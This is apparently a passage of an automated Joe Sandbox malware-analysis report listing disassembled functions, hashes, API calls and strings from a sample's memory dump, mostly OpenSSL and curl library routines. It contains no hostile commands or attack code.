Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fc6f4006d94a5b24beecc9f4e7917afd325a27acf111649560c0fa463cfed30
Instruction ID: c646bc96c5ca9b15dd5feaf1e088e0e87a1f038bcb5715d12f6173b0a5eae54a
Opcode Fuzzy Hash: 8fc6f4006d94a5b24beecc9f4e7917afd325a27acf111649560c0fa463cfed30
Instruction Fuzzy Hash: 4F312F73A156248BE350CE779D40157BAD3A7C4674F1BC569EC88EB20ADA34D8068BC6

Function 10008E11 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1361f0ac4df4ece250412f3dc8c1fd4d917786a22b409e81813554b05c105bc
Instruction ID: 3151e7063b4df56b37d4f943412d28fb002b05dbab24e1cb90c1d39f58d6d7ec
Opcode Fuzzy Hash: f1361f0ac4df4ece250412f3dc8c1fd4d917786a22b409e81813554b05c105bc
Instruction Fuzzy Hash: A821F761C34F2A41D7D3AB34D4A0353E3A1FF4170DB4846EDC5AD5A85AC77EE189A300

Function 100061F0 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60a23c78da3b6716c584f250082441a8c334e7b2b212062c327525d921f6641d
Instruction ID: 8b18578a8e4e9e08a50b24b1ed5fd3926e5c361586209f1dedeaebd0aa2d9426
Opcode Fuzzy Hash: 60a23c78da3b6716c584f250082441a8c334e7b2b212062c327525d921f6641d
Instruction Fuzzy Hash: E5318D3480CB9A97D7029F39C441556F7A0BFEA258F00CB1EFDD433261D771BA84AA52

Function 1006C770 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2be6b7acbf3b7f91017705cc5ee09502d580a583db9efff6fb5c2cc4386c20a5
Instruction ID: 3b26eedb89054652efeb697541a8fe51ee22393a83255317b80b67f062b1329a
Opcode Fuzzy Hash: 2be6b7acbf3b7f91017705cc5ee09502d580a583db9efff6fb5c2cc4386c20a5
Instruction Fuzzy Hash: 5A013133BA5436076B4C806DDC632BF118787C56183CAC33DEA57EBAC9EC2C981152C4

Function 1000985D Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9f9df6a7e79ad2ab753228a9f3152c45f60fa4086fa6ce7dd1644e308b67909
Instruction ID: 7abe2109b36cad11134414bc5ab031c16e62fc63544d187622d3db1aaca73acb
Opcode Fuzzy Hash: c9f9df6a7e79ad2ab753228a9f3152c45f60fa4086fa6ce7dd1644e308b67909
Instruction Fuzzy Hash: 451151D9C2AFB906E723633B5D42242DA105EF7989550D347FCB439D61F701B5C17210

Function 1000DF2C Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f6e2e7ec505c2c1900c4ef3f06c207a60b087e60ec9a8977941ede6932abc47
Instruction ID: 10d7afb08bbfe4d00f8e15907102735d6ebc37ecfbf4bb6a8d50336e5070839e
Opcode Fuzzy Hash: 1f6e2e7ec505c2c1900c4ef3f06c207a60b087e60ec9a8977941ede6932abc47
Instruction Fuzzy Hash: 8AF0C833B656250BA3A0DD766C0029BA3C3E7C02B0F1B85A5DC48D7506ED34DC4A46C5

Function 10001440 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ced857b5ce1a509415435bd4d83b76d7f016b727c0bcab665008de26f7c84f4
Instruction ID: a26a079d4f7634b3a9ea79b074545c1ca2e0ed3fe8ad0bcda46280411d46894f
Opcode Fuzzy Hash: 7ced857b5ce1a509415435bd4d83b76d7f016b727c0bcab665008de26f7c84f4
Instruction Fuzzy Hash: 4101AD323083534FE700CE3C9980786BBE9EB853A8F154A78E409D321AD2619D158790

Function 1000997D Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ecfc198494d27b80b0537eaa6c8f63dc2e5340c24e50d93a605c7759b43842
Instruction ID: 57dd0477e1ac11214cef0116ebf6789dcb5feb4996a0040d8a596293a20a39db
Opcode Fuzzy Hash: 33ecfc198494d27b80b0537eaa6c8f63dc2e5340c24e50d93a605c7759b43842
Instruction Fuzzy Hash: 6E01FFDAC24FAA45E313A73D5843292E6109FF7548620E347FCF838E66F71176D56224

Function 1000DEC0 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe21089785e6a1748e56388996be618063e6c4318fc8050aa5774256bf8bb64f
Instruction ID: 91298bee9fe11e2eb689e2503c302299d78e7b7f9eb906c8cc40c41a9f31307d
Opcode Fuzzy Hash: fe21089785e6a1748e56388996be618063e6c4318fc8050aa5774256bf8bb64f
Instruction Fuzzy Hash: B2F08C33A20A340B6360CC7A8D050A7A2C797C86F0B0FC979ECA1E7206EA30EC0656D1

Function 100013D0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8eb042a525cced96415b3ff61f9e1192556dc6e0a90ea83333a45f9eed7d92d1
Instruction ID: 82ccb5cec2d38ec263abd026f74ee6106684104ab0154a790fe221a50b9dd297
Opcode Fuzzy Hash: 8eb042a525cced96415b3ff61f9e1192556dc6e0a90ea83333a45f9eed7d92d1
Instruction Fuzzy Hash: AFF0BE322083528BD300CE29D540682FBE8EB863E8F120A64F109C7229C7219E41CBD0

Function 100011E0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e491b895121059d94f64076017f4d02a951ebfb15fb2db0ebe83fc62988aa06
Instruction ID: d7faedd768015f2d783f55a01dabc180b0e2da9e5fa43d7ff448c00316bc0b16
Opcode Fuzzy Hash: 6e491b895121059d94f64076017f4d02a951ebfb15fb2db0ebe83fc62988aa06
Instruction Fuzzy Hash: 3AB012355001104BA70ACB35CC510C232B2B3C234431AC4B8D10789018DA369003C900

Function 102710D0 Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 337COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10271123
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 102711BB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 102711DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 102711F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1027122F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1027128D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 102712B6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 102712C9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1027140B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1027141A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1027143E
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s,?,?,00000000,?,?,00000000,?,?,00000000,?,?,00000000), ref: 10271537

Strings

%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s, xrefs: 10271521
** Resuming transfer from byte position %lld, xrefs: 1027114E
%% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed, xrefs: 10271161

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$fflush
String ID: %3lld %s %3lld %s %3lld %s %s %s %s %s %s %s$ %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed$** Resuming transfer from byte position %lld
API String ID: 1893817590-1872798829
Opcode ID: 4b1bd578609d5a9fc9f28e55a00e2969ddcae40ae07935cd7ce9f3136bb8ebd3
Instruction ID: e351b1a23a8c5f591f5572f1d6031ba3053766071d6388444b4cc2a122c08fe4
Opcode Fuzzy Hash: 4b1bd578609d5a9fc9f28e55a00e2969ddcae40ae07935cd7ce9f3136bb8ebd3
Instruction Fuzzy Hash: EDD12C79604745AFD350CE69CC41FABB7EBEFD8740F20891DF99992251DB32B8208B51

Function 1007CAD0 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 216COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(OPENSSL_WIN32_UTF8,00000000,00000000,00000000,00000000,00000000,00000000,10060A30,OPENSSL_MODULES,?,?,00000000,?,?,?), ref: 1007CAF3
GetACP.KERNEL32 ref: 1007CB12
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 1007CB77
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 1007CBB8
MultiByteToWideChar.KERNEL32(00000000,000000FF,?,000000FF,-00000008,?,?,?,00000000,?,?,?,?,?,00000000), ref: 1007CBE8
GetEnvironmentVariableW.KERNEL32(-00000008,00000000,00000000,?,?,00000000,?,?,?,?,?,00000000,?,?,?,?), ref: 1007CBFB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,00000000,?,?,?,?,?,00000000,?,?,?,?,SHA256,102A7A40), ref: 1007CC3C
GetEnvironmentVariableW.KERNEL32(-00000008,-00000008,00000000,?,?,?,00000000,?,?,?,?,?,00000000), ref: 1007CC5E
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,-00000008,000000FF,00000000,00000000,00000000,00000000,?,?,?,00000000,?,?,?), ref: 1007CC7A
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,-00000008,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00000000), ref: 1007CCB2
free.API-MS-WIN-CRT-HEAP-L1-1-0(-00000100,?,?,00000000,?,?,?,?,?,00000000,?,?,?,?,SHA256,102A7A40), ref: 1007CCE3
free.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8,?,?,00000000,?,?,?,?,?,00000000,?,?,?,?,SHA256,102A7A40), ref: 1007CCFB
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,00000000,?,?,?,?,?,00000000,?,?,?,?,SHA256,102A7A40), ref: 1007CD3C

Strings

OPENSSL_WIN32_UTF8, xrefs: 1007CAEE
crypto\getenv.c, xrefs: 1007CC89, 1007CCBE

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWide$EnvironmentVariable$freemalloc$getenv
String ID: OPENSSL_WIN32_UTF8$crypto\getenv.c
API String ID: 1599471619-38007710
Opcode ID: d12323252953492c2acfd01bdcc11c8132109a31598e666540f54aac12ddcdd8
Instruction ID: ac66022b652b0f428d0ed5acbd19ea7858f12ac321612569954ab73d5c510ed0
Opcode Fuzzy Hash: d12323252953492c2acfd01bdcc11c8132109a31598e666540f54aac12ddcdd8
Instruction Fuzzy Hash: 93614C71F4031DA6EF20DB94CC86F6E7BE5DB407A0F11823DF949A66D0DB7C98508689

Function 10148480 Relevance: 24.9, APIs: 6, Strings: 8, Instructions: 386COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10148584
__fprintf_l.LIBCMT ref: 101485CC
memmove.VCRUNTIME140(?,?,?), ref: 1014865D
__fprintf_l.LIBCMT ref: 101486B3
memset.VCRUNTIME140(?,00000000,00000400,00000009,0000006D,00000000,crypto\pem\pem_lib.c,0000003E,PEM_def_callback), ref: 101486C7
__fprintf_l.LIBCMT ref: 10148728

Strings

Proc-Type: 4,%s, xrefs: 101487DE
PEM_def_callback, xrefs: 1014869C
%02X, xrefs: 10148846
Enter PEM pass phrase:, xrefs: 10148671, 10148682
PEM_ASN1_write_bio, xrefs: 1014856A, 101485AF, 1014870E
ENCRYPTED, xrefs: 101487D9
DEK-Info: %s,, xrefs: 1014881E
crypto\pem\pem_lib.c, xrefs: 10148574, 101485B9, 101485E5, 101486A3, 10148718, 1014894E

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l$memmovememset
String ID: %02X$DEK-Info: %s,$ENCRYPTED$Enter PEM pass phrase:$PEM_ASN1_write_bio$PEM_def_callback$Proc-Type: 4,%s$crypto\pem\pem_lib.c
API String ID: 2006140342-3559348973
Opcode ID: 81196a2ce470051003c9dc0865ceb6cb998d0263a8c09074542ba4f0765ac788
Instruction ID: 9df4065d83438f95016565882acea034a04bbdf6d66f8432bcfcbaef83553529
Opcode Fuzzy Hash: 81196a2ce470051003c9dc0865ceb6cb998d0263a8c09074542ba4f0765ac788
Instruction Fuzzy Hash: D3D103B5508301ABD320DE649D42B9F77E8EF85244F51092CFE88E7242EB75E909C797

Function 10078B70 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 187stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(?,0000002E,00000000,00000000), ref: 10078BA7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 10078C21
__fprintf_l.LIBCMT ref: 10078CE5

Part of subcall function 1007F980: __fprintf_l.LIBCMT ref: 1007F9B8

__fprintf_l.LIBCMT ref: 10078D5B
__fprintf_l.LIBCMT ref: 10078D8E

Part of subcall function 100677A0: GetLastError.KERNEL32(00000000,?,10078C46,?,?,?,?,?,?,?,00000000,00000000), ref: 100677AC
Part of subcall function 100677A0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,00000000), ref: 100677BA
Part of subcall function 100677A0: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 100677C3

Strings

path, xrefs: 10078C55
module=%s, value=%s retcode=%-8d, xrefs: 10078CDC
module_run, xrefs: 10078CC5, 10078D70
OPENSSL_init, xrefs: 10078CF5
module=%s, xrefs: 10078D85
OPENSSL_finish, xrefs: 10078D10
crypto\conf\conf_mod.c, xrefs: 10078CCF, 10078D47, 10078D7A
module_load_dso, xrefs: 10078D3D
module=%s, path=%s, xrefs: 10078D53

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l$ErrorLast$Valuestrncmpstrrchr
String ID: OPENSSL_finish$OPENSSL_init$crypto\conf\conf_mod.c$module=%s$module=%s, path=%s$module=%s, value=%s retcode=%-8d$module_load_dso$module_run$path
API String ID: 799130471-2287471678
Opcode ID: 67c07564cb1095970dd927e8a7edfda6e9c386900971ad24f1420285d9f61095
Instruction ID: 90ecb3e78356e575e89334dddada2fe2500df8e7f7680241831fa0fc1aa7ec96
Opcode Fuzzy Hash: 67c07564cb1095970dd927e8a7edfda6e9c386900971ad24f1420285d9f61095
Instruction Fuzzy Hash: DF519BB99402057BD210DA349D42F9B36D8DF42698F014624F98CB2142FF69FE18C3BB

Function 10246E10 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 411COMMON

Download Yara Rule

APIs

setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000004,00000000), ref: 10246E69
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 10246E76
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000004,102B8330,00000000), ref: 10246E91
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000004,?,?,?,00000000), ref: 1024850B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000004,?,?,?,00000000), ref: 10248511
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,?,?,?,00000000), ref: 10248583

Strings

null, xrefs: 10247253, 10247275
NaN, xrefs: 102472CC, 102472E3

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: setlocale$free$_strdup
String ID: NaN$null
API String ID: 2709287076-1902676332
Opcode ID: a71f7e23e7974646f026702a039a0b20f72f4e109b032c62e1cd31da88954119
Instruction ID: 75595d81594824c33c2f7c53daf60113ae1d53cb8e8236c62aae5fd2fef0d2fb
Opcode Fuzzy Hash: a71f7e23e7974646f026702a039a0b20f72f4e109b032c62e1cd31da88954119
Instruction Fuzzy Hash: 73F1D074514242CFCB58CF18C880B9ABBA5FF46354F764589ED558B386C3B1E825CF82

Function 100511D0 Relevance: 23.0, APIs: 1, Strings: 12, Instructions: 275COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005182E

Strings

keylen, xrefs: 10051336
randkey, xrefs: 1005135D
rounds, xrefs: 1005144C
keybits, xrefs: 1005152C
tag, xrefs: 1005148C
tlsaad, xrefs: 100514A5
tlsaadpad, xrefs: 100514E5
ivlen, xrefs: 100513AD
EVP_CIPHER_CTX_ctrl, xrefs: 100512CA, 100517EF, 10051811
crypto\evp\evp_enc.c, xrefs: 100512D4, 100517F9, 1005181B
tlsivgen, xrefs: 10051417
tlsivfixed, xrefs: 10051401

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_CIPHER_CTX_ctrl$crypto\evp\evp_enc.c$ivlen$keybits$keylen$randkey$rounds$tag$tlsaad$tlsaadpad$tlsivfixed$tlsivgen
API String ID: 3906573944-88550702
Opcode ID: 60b80c3f858709e54a4d6f8e835240e8d332490a8a618073c4328be719912fb2
Instruction ID: 0320c0bbe3bdff1ebdaab972e464e93ffa81d5bb0a30fd88d5fea64fc74d3590
Opcode Fuzzy Hash: 60b80c3f858709e54a4d6f8e835240e8d332490a8a618073c4328be719912fb2
Instruction Fuzzy Hash: 45A17C75908340AFE310CF68DC85BABB7E8FF89314F104A2DF59986252EB75A548CB52

Function 10057BB0 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 224registryfileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,1004B3FD,10057A76,%s:%d: OpenSSL internal error: %s,00000000,00000000,00000000,10053B52,assertion failed: ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16,crypto\evp\evp_enc.c,0000017E), ref: 10057BCC
GetFileType.KERNEL32(00000000,?,?,?,?,1005237D,00000000,00000000,00000000,00000000,00000000,00000000,00000000,1004B3FD,00000000,00000000), ref: 10057BD9
__stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00000200,00000000,00000000,00000000,?,?,?,?,1005237D,00000000,00000000,00000000,00000000), ref: 10057C06
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057C32
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000002,?,00000002,?,?,?,?,1005237D,00000000,00000000,00000000,00000000,00000000), ref: 10057C71
__stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,000000FF,?,00000000,00000000,?,00000002,?,?,?,?,1005237D,00000000,00000000), ref: 10057DE0
RegisterEventSourceW.ADVAPI32(00000000,OpenSSL), ref: 10057DFE
ReportEventW.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 10057E2C
DeregisterEventSource.ADVAPI32(00000000), ref: 10057E33

Strings

no stack?, xrefs: 10057C5D
OpenSSL, xrefs: 10057DF7
OpenSSL: FATAL, xrefs: 10057E3D

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

